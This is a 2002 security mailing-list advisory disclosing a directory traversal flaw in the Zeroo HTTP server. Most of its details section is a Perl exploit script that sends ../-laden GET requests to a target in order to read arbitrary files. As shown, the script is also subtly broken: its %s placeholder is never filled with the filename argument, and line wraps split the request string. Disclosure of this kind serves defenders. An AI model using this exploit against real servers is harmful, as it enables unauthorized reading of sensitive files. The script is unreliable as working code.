[NEWS] Zeroo Folder Traversal Vulnerability

From: support@securiteam.com
Date: 11/22/02

  • Next message: support@securiteam.com: "[NEWS] ClearCase Remote DoS"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 22 Nov 2002 17:48:15 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Zeroo Folder Traversal Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://lonerunner.cfxweb.net/> Zeroo is a simple, small, portable, fast
    HTTP server. A directory traversal vulnerability has been found in the
    product allowing remote attackers to compromise the integrity of the
    remote server.

    DETAILS

    A folder traversal flaw in the server may allow attackers to compromise
    sensitive information stored on the server's volume.

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;
    $pkt = "GET
    /../../../../../../../../../../../../../../../../../../../../%s
    HTTP/1.0\r\n\r\n";
    if (@ARGV < 2 || @ARGV > 3) {
    print STDOUT "Usage: perl $0 [filename] [host] [port=80]";
    exit;
    }
    if (@ARGV==3) {
    $port=$ARGV[2];
    } else {
    $port=80;
    }
    $f =
    IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$ARGV[1],PeerPort=>$port);
    if (!defined($f)) {
    $err=sprintf("Cannot connect to %s on port %d",$ARGV[1],$port);
    print STDOUT $err;
    exit;
    }
    $f->autoflush(1);
    print $f $pkt;
    while (defined($line = <$f>)) {
    print STDOUT $line;
    }
    undef $f;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mattmurphy@kc.rr.com> Matt
    Murphy.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages